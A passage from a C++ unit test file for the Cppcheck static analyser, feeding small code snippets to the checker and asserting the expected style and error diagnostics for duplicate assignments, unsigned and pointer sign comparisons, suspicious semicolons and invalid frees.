\"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The 